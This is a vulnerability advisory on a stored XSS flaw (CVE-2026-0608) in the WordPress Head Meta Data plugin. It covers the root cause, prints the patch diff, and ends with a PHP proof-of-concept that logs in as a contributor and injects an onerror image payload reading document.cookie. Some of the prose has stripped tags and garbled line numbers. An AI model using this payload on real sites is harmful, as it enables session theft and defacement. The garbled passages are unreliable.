Atomic Edge analysis of CVE-2026-0608:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WordPress Head Meta Data plugin. The vulnerability affects the plugin’s post meta field handling, allowing contributors and higher-privileged users to inject malicious scripts. The CVSS score of 6.4 reflects a medium severity impact.
Atomic Edge research identified the root cause as insufficient input sanitization and output escaping for the ‘head-meta-data’ post meta field. The vulnerable code resided in the `hmd_display_custom()` function within the file `head-meta-data/head-meta-data.php`. In versions up to 20251118, the function looped through stored meta values and applied only a basic regex filter (`preg_replace(‘#(.*)#is’, ”, $v)`) on line 137 before outputting the content. This filter was insufficient and could be bypassed, failing to sanitize other HTML elements and attributes that could execute JavaScript.
Exploitation requires an attacker with at least contributor-level access to WordPress. The attacker injects a malicious payload into the ‘head-meta-data’ post meta field when creating or editing a post. This payload could use HTML tags and attributes not caught by the flawed filter, such as an `
` tag with an `onerror` handler or a “ tag containing script. The payload is stored in the post’s metadata. The stored script executes in the browser of any user who views the compromised post, as the plugin outputs the unsanitized meta data directly into the page’s “ section via the `hmd_display_custom()` function.
The patch, implemented in version 20260105, replaces the inadequate regex filter with a robust output escaping function. The diff shows the addition of a new `hmd_allowed_html()` function (lines 120-67) that defines a strict allowlist of permissible HTML tags and attributes. In the `hmd_display_custom()` function, the `preg_replace` call is removed. The patch replaces it with `wp_kses($v, hmd_allowed_html())` on line 197. This WordPress core function sanitizes the output based on the defined allowlist, stripping any disallowed tags and attributes, thereby neutralizing XSS payloads.
Successful exploitation leads to stored cross-site scripting. An attacker can steal session cookies, perform actions on behalf of authenticated users, deface websites, or redirect visitors to malicious sites. Since the vulnerability requires contributor-level access, the impact is limited to sites where such users are not fully trusted. However, on multi-author websites, a compromised contributor account could affect all visitors to the injected pages.
--- a/head-meta-data/head-meta-data.php
+++ b/head-meta-data/head-meta-data.php
@@ -10,8 +10,8 @@
Contributors: specialk
Requires at least: 4.7
Tested up to: 6.9
- Stable tag: 20251118
- Version: 20251118
+ Stable tag: 20260105
+ Version: 20260105
Requires PHP: 5.6.20
Text Domain: head-meta-data
Domain Path: /languages
@@ -38,7 +38,7 @@
if (!defined('ABSPATH')) die();
$hmd_wp_vers = '4.7';
-$hmd_version = '20251118';
+$hmd_version = '20260105';
$hmd_plugin = 'Head Meta Data';
$hmd_options = get_option('hmd_options');
$hmd_path = plugin_basename(__FILE__); // head-meta-data/head-meta-data.php
@@ -120,6 +120,67 @@
}
+function hmd_allowed_html() {
+
+ $global = array(
+ 'accesskey' => array(),
+ 'class' => array(),
+ 'contenteditable' => array(),
+ 'dir' => array(),
+ 'draggable' => array(),
+ 'enterkeyhint' => array(),
+ 'hidden' => array(),
+ 'id' => array(),
+ 'inert' => array(),
+ 'inputmode' => array(),
+ 'lang' => array(),
+ 'popover' => array(),
+ 'spellcheck' => array(),
+ 'style' => array(),
+ 'tabindex' => array(),
+ 'title' => array(),
+ 'translate' => array()
+ );
+
+ $style = array(
+ 'media' => array(),
+ 'type' => array()
+ );
+
+ $meta = array(
+ 'charset' => array(),
+ 'content' => array(),
+ 'http-equiv' => array(),
+ 'name' => array()
+ );
+
+ $link = array(
+ 'crossorigin' => array(),
+ 'href' => array(),
+ 'hreflang' => array(),
+ 'media' => array(),
+ 'referrerpolicy' => array(),
+ 'rel' => array(),
+ 'sizes' => array(),
+ 'title' => array(),
+ 'type' => array()
+ );
+
+ $base = array(
+ 'href' => array(),
+ 'target' => array()
+ );
+
+ return array(
+ 'title' => $global,
+ 'style' => array_merge($global, $style),
+ 'meta' => array_merge($global, $meta),
+ 'link' => array_merge($global, $link),
+ 'base' => array_merge($global, $base),
+ );
+
+}
+
function hmd_display_custom() {
if (!is_singular()) return;
@@ -134,9 +195,7 @@
foreach ($value as $v) {
- $v = preg_replace('#<script(.*)>(.*)</script>#is', '', $v);
-
- $custom .= $v . "n";
+ $custom .= wp_kses($v, hmd_allowed_html()) . "n";
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0608 - Head Meta Data <= 20251118 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Meta
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: XSS via img tag onerror attribute
$payload = '<img src=x onerror=alert(document.cookie)>';
// Step 1: Authenticate and get session cookies and nonce
$login_url = str_replace('post.php', 'wp-login.php', $target_url);
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In'
]));
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Create a new post to get a valid nonce for meta updates
// This step fetches the post creation page to parse a nonce.
// In a real scenario, the nonce from the 'editpost' action is needed.
$ch = curl_init('http://vulnerable-site.com/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce (simplified - actual implementation requires parsing HTML for _wpnonce)
// For this PoC, we assume the nonce is known or the vulnerability does not require a nonce check.
// The vulnerability may allow meta updates via the standard post save mechanism.
$nonce = 'EXTRACTED_NONCE';
// Step 3: Submit a post with malicious meta data.
// The 'head-meta-data' meta field is submitted as an array.
$post_id = 123; // Would be dynamically created or targeted
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'post_ID' => $post_id,
'action' => 'editpost',
'_wpnonce' => $nonce,
'meta_input[head-meta-data][]' => $payload, // Inject payload into the vulnerable field
'save' => 'Update'
]));
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Verify by fetching the published post and checking for payload in output
$view_url = 'http://vulnerable-site.com/?p=' . $post_id;
$ch = curl_init($view_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, $payload) !== false) {
echo "Payload likely injected. Check page source of $view_urln";
} else {
echo "Injection may have failed or been filtered.n";
}
?>